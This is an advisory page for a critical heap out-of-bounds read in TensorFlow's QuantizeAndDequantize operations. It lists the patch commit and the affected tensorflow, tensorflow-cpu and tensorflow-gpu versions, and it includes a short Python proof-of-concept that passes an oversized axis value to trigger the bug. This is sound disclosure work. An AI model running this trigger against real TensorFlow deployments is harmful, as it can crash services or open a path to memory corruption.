GHSA-gw97-ff7c-9v96

Suggest an improvement
Source
https://github.com/advisories/GHSA-gw97-ff7c-9v96
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-gw97-ff7c-9v96/GHSA-gw97-ff7c-9v96.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-gw97-ff7c-9v96
Aliases
Related
Published
2023-03-24T21:57:01Z
Modified
2023-12-06T01:02:54.235759Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
Details

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
                                       input_min=[1.0],
                                       input_max=[10.0],
                                       signed_input=True,
                                       num_bits=1,
                                       range_given=True,
                                       round_mode='HALF_TO_EVEN',
                                       narrow_range=True,
                                       axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Database specific
{
    "nvd_published_at": "2023-03-25T00:15:00Z",
    "github_reviewed_at": "2023-03-24T21:57:01Z",
    "severity": "CRITICAL",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-122",
        "CWE-125"
    ]
}
References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.11.1

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.6.0rc0
2.6.0rc1
2.6.0rc2
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.7.0rc0
2.7.0rc1
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.8.0rc0
2.8.0rc1
2.8.0
2.8.1
2.8.2
2.8.3
2.8.4
2.9.0rc0
2.9.0rc1
2.9.0rc2
2.9.0
2.9.1
2.9.2
2.9.3
2.10.0rc0
2.10.0rc1
2.10.0rc2
2.10.0rc3
2.10.0
2.10.1
2.11.0rc0
2.11.0rc1
2.11.0rc2
2.11.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.11.1

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.8.0
2.8.1
2.8.2
2.8.3
2.8.4
2.9.0rc0
2.9.0rc1
2.9.0rc2
2.9.0
2.9.1
2.9.2
2.9.3
2.10.0rc0
2.10.0rc1
2.10.0rc2
2.10.0rc3
2.10.0
2.10.1
2.11.0rc0
2.11.0rc1
2.11.0rc2
2.11.0

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.11.1

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.7.0rc0
2.7.0rc1
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.8.0rc0
2.8.0rc1
2.8.0
2.8.1
2.8.2
2.8.3
2.8.4
2.9.0rc0
2.9.0rc1
2.9.0rc2
2.9.0
2.9.1
2.9.2
2.9.3
2.10.0rc0
2.10.0rc1
2.10.0rc2
2.10.0rc3
2.10.0
2.10.1
2.11.0rc0
2.11.0rc1
2.11.0rc2
2.11.0